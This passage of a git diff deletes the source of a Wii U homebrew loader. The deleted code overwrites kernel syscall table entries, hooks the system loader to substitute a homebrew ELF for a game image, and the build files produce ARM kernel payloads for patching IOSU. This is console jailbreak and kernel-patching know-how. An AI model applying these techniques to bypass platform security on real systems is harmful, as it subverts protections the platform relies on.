"r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy - //! it makes smaller code then if(mapOffset == mem_area->size) after copy - mapOffset = -blockSize; - mem_area = mem_area->next; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) -{ - int iFd = -1; - void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); - if(!pClient) - return 0; - - void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); - if(!pCmd) - { - private_data->MEMFreeToDefaultHeap(pClient); - return 0; - } - - int success = 0; - private_data->FSInit(); - private_data->FSInitCmdBlock(pCmd); - private_data->FSAddClientEx(pClient, 0, -1); - - do - { - char tempPath[FS_MOUNT_SOURCE_SIZE]; - char mountPath[FS_MAX_MOUNTPATH_SIZE]; - - int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); - if (status != 0) { - private_data->OSFatal("-3"); - } - status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if(status != 0) { - private_data->OSFatal("-4"); - } - - status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) { - private_data->OSFatal("-5"); - } - - FSStat stat; - stat.size = 0; - - void *pBuffer = NULL; - - private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - else - private_data->OSFatal("-6"); - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - if(done != stat.size) - { - private_data->MEMFreeToDefaultHeap(pBuffer); - } - else - { - *fileOut = (unsigned char*)pBuffer; - *sizeOut = stat.size; - success = 1; - } - - private_data->FSCloseFile(pClient, pCmd, iFd, -1); - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - } - while(0); - - private_data->FSDelClient(pClient); - private_data->MEMFreeToDefaultHeap(pClient); - private_data->MEMFreeToDefaultHeap(pCmd); - return success; -} - -static void setup_patches(private_data_t *private_data) -{ - //! setup necessary syscalls and hooks for HBL - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - //! store physical address for later use - addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk); - - u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; - DCFlushRange(&addr_my_PrepareTitle_hook, 4); - - //! create our copy syscall - SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); - -} - -static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) -{ - Elf32_Ehdr *ehdr; - Elf32_Phdr *phdrs; - unsigned char *image; - int i; - - ehdr = (Elf32_Ehdr *) elfstart; - - if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) - return 0; - - if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) - return 0; - - phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); - - for(i = 0; i < ehdr->e_phnum; i++) - { - if(phdrs[i].p_type != PT_LOAD) - continue; - - if(phdrs[i].p_filesz > phdrs[i].p_memsz) - continue; - - if(!phdrs[i].p_filesz) - continue; - - unsigned int p_paddr = phdrs[i].p_paddr; - image = (unsigned char *) (elfstart + phdrs[i].p_offset); - - private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); - - if(phdrs[i].p_flags & PF_X) - ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); - } - - //! clear BSS - Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - } - - return ehdr->e_entry; -} - -static void loadFunctionPointers(private_data_t * private_data) -{ - unsigned int coreinit_handle; - - EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); - EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; - - OSDynLoad_Acquire("coreinit", &coreinit_handle); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); - OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); - OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); - - OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); - OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); - OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); - OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); - OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); - OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); - - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); -} - -static const char *HBL_ELF_PATH = "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"; - -unsigned int _main(int argc, char **argv) -{ - private_data_t private_data; - - if(MAIN_ENTRY_ADDR != 0xC001C0DE) - { - loadFunctionPointers(&private_data); - - while(1) - { - if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) - { - //! copy data to safe area before processing it - unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); - if(pElfBuffer) - { - private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - - } - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - } - - if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) - { - //! setup necessary syscalls and hooks for HBL before launching it - setup_patches(&private_data); - - if(HBL_CHANNEL) - { - break; - } - else - { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, SD_LOADER_FORCE_HBL ? HBL_ELF_PATH : SD_LOADER_PATH, &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) - { - private_data.OSFatal("-1"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - if(MAIN_ENTRY_ADDR == 0) - { - private_data.OSFatal("-2"); - } - else - { - private_data.MEMFreeToDefaultHeap(pElfBuffer); - } - } - } - } - else - { - int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - //! exit to miimaker and restart application on re-enter of another application - if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) - { - break; - } - //! exit to homebrew launcher in all other cases - else - { - SD_LOADER_FORCE_HBL = 1; - MAIN_ENTRY_ADDR = 0xDEADC0DE; - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - break; - } - } - } - } - - unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry; - - //! if an application was an RPX launch then launch HBL again after return - /*if(MAIN_ENTRY_ADDR == 0xC001C0DE) - { - int ret = ( (int (*)(int, char **))(entry) )(argc, argv); - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(ret); - }*/ - //! launch the original title with clean stack - return entry; -} diff --git a/dsrom/hbl_loader/sd_loader/src/kernel_defs.h b/dsrom/hbl_loader/sd_loader/src/kernel_defs.h deleted file mode 100644 index a1cce49..0000000 --- a/dsrom/hbl_loader/sd_loader/src/kernel_defs.h +++ /dev/null @@ -1,75 +0,0 @@ -#ifndef __KERNEL_DEFS_H_ -#define __KERNEL_DEFS_H_ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// original structure in the kernel that is originally 0x1270 long -typedef struct -{ - uint32_t version_cos_xml; // version tag from cos.xml - uint64_t os_version; // os_version from app.xml - uint64_t title_id; // title_id tag from app.xml - uint32_t app_type; // app_type tag from app.xml - uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) - char rpx_name[0x1000]; // rpx name from cos.xml - uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) - uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 - uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app - uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) - uint32_t max_codesize; // max_codesize in cos.xml - uint32_t overlay_arena; // overlay_arena in cos.xml - uint32_t unknown4[59]; // all zeros it seems - uint32_t default_stack0_size; // not sure because always 0 but very likely - uint32_t default_stack1_size; // not sure because always 0 but very likely - uint32_t default_stack2_size; // not sure because always 0 but very likely - uint32_t default_redzone0_size; // not sure because always 0 but very likely - uint32_t default_redzone1_size; // not sure because always 0 but very likely - uint32_t default_redzone2_size; // not sure because always 0 but very likely - uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker - uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker - uint32_t title_version; // from app.xml, 0x32 on mii maker - /* - // --------------------------------------------------------------------------------------------------------------------------------------------- - // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... - // --------------------------------------------------------------------------------------------------------------------------------------------- - char mlc[4]; // string "mlc" on mii maker and sysmenu - uint32_t unknown5[7]; // all zeros on mii maker and sysmenu - uint32_t unknown6_one; // 0x01 on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char ACP[4]; // string "ACP" on mii maker and sysmenu - uint32_t unknown7[15]; // all zeros on mii maker and sysmenu - uint32_t unknown8_5; // 0x05 on mii maker and sysmenu - uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char UVD[4]; // string "UVD" on mii maker and sysmenu - uint32_t unknown11[15]; // all zeros on mii maker and sysmenu - uint32_t unknown12_5; // 0x05 on mii maker and sysmenu - uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char SND[4]; // string "SND" on mii maker and sysmenu - uint32_t unknown15[15]; // all zeros on mii maker and sysmenu - uint32_t unknown16_5; // 0x05 on mii maker and sysmenu - uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu - */ - // after that only zeros follow -} __attribute__((packed)) CosAppXmlInfo; - - -#ifdef __cplusplus -} -#endif - -#endif // __KERNEL_DEFS_H_ diff --git a/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S b/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S deleted file mode 100644 index 0d7f11f..0000000 --- a/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S +++ /dev/null @@ -1,69 +0,0 @@ -# This stuff may need a change in different kernel versions -# This is only needed when launched directly through browser and not SD card. - -.section ".kernel_code" - .globl SaveAndResetDataBATs_And_SRs_hook -SaveAndResetDataBATs_And_SRs_hook: - # setup CTR to the position we need to return to - mflr r5 - mtctr r5 - # set link register to its original value - mtlr r7 - # setup us a nice DBAT for our code data with same region as our code - mfspr r5, 560 - mtspr 570, r5 - mfspr r5, 561 - mtspr 571, r5 - # restore the original kernel instructions that we replaced - lwz r5, 0x34(r3) - lwz r6, 0x38(r3) - lwz r7, 0x3C(r3) - lwz r8, 0x40(r3) - lwz r9, 0x44(r3) - lwz r10, 0x48(r3) - lwz r11, 0x4C(r3) - lwz r3, 0x50(r3) - isync - mtsr 7, r5 - # jump back to the position in kernel after our patch (from LR) - bctr - -.extern my_PrepareTitle - .globl my_PrepareTitle_hook -my_PrepareTitle_hook: - # store all registers on stack to avoid issues with the call to C functions - stwu r1, -0x90(r1) - # registers for our own usage - # just store everything - stmw r3, 0x10(r1) - - # save the LR from where we came - mflr r31 - - # the cos.xml/app.xml structure is at the location 0x68 of r11 - # there are actually many places that can be hooked for it - # e.g. 0xFFF16130 and r27 points to this structure - addi r3, r11, 0x68 - - bl my_PrepareTitle - - # setup LR to jump back to kernel code - mtlr r31 - - # restore all original values of registers from stack - lmw r3, 0x10(r1) - - # restore the stack - addi r1, r1, 0x90 - - # restore original instruction that we replaced in the kernel - clrlwi r7, r12, 0 - - # jump back - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/dsrom/hbl_loader/sd_loader/src/link.ld b/dsrom/hbl_loader/sd_loader/src/link.ld deleted file mode 100644 index 610f5d3..0000000 --- a/dsrom/hbl_loader/sd_loader/src/link.ld +++ /dev/null @@ -1,23 +0,0 @@ -OUTPUT(sd_loader.elf); - -ENTRY(_start); - -SECTIONS { - . = 0x00800000; - .text : { - *(.kernel_code*); - *(.text*); - /* Tell linker to not garbage collect this section as it is not referenced anywhere */ - KEEP(*(.kernel_code*)); - } - .data : { - *(.rodata*); - *(.data*); - *(.bss*); - } - /DISCARD/ : { - *(*); - } -} - -ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf."); diff --git a/dsrom/hbl_loader/sd_loader/src/loader_defs.h b/dsrom/hbl_loader/sd_loader/src/loader_defs.h deleted file mode 100644 index b71514f..0000000 --- a/dsrom/hbl_loader/sd_loader/src/loader_defs.h +++ /dev/null @@ -1,38 +0,0 @@ -#ifndef __LOADER_DEFS_H_ -#define __LOADER_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -// struct holding the globals of the loader (there are actually more but we don't need others) -typedef struct _loader_globals_t -{ - int sgIsLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_t; - -typedef struct _loader_globals_550_t -{ - int sgFinishedLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgTotalBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_550_t; - -#ifdef __cplusplus -} -#endif - -#endif // __LOADER_DEFS_H_ diff --git a/dsrom/hbl_loader/structs.h b/dsrom/hbl_loader/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/dsrom/hbl_loader/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/dsrom/hbl_loader/types.h b/dsrom/hbl_loader/types.h deleted file mode 100644 index e9194b3..0000000 --- a/dsrom/hbl_loader/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/dsrom/iosu_patcher/Makefile b/dsrom/iosu_patcher/Makefile deleted file mode 100644 index 48c1b8c..0000000 --- a/dsrom/iosu_patcher/Makefile +++ /dev/null @@ -1,63 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1804000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/titleprot2_bin.h $(CURDIR)/payload/titleprot_bin.h \ - $(CURDIR)/payload/wupserver_bin.h $(CURDIR)/payload/arm_user_bin.h - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ - -$(CURDIR)/payload/titleprot2_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/titleprot2 -f $(CURDIR)/titleprot2/Makefile - 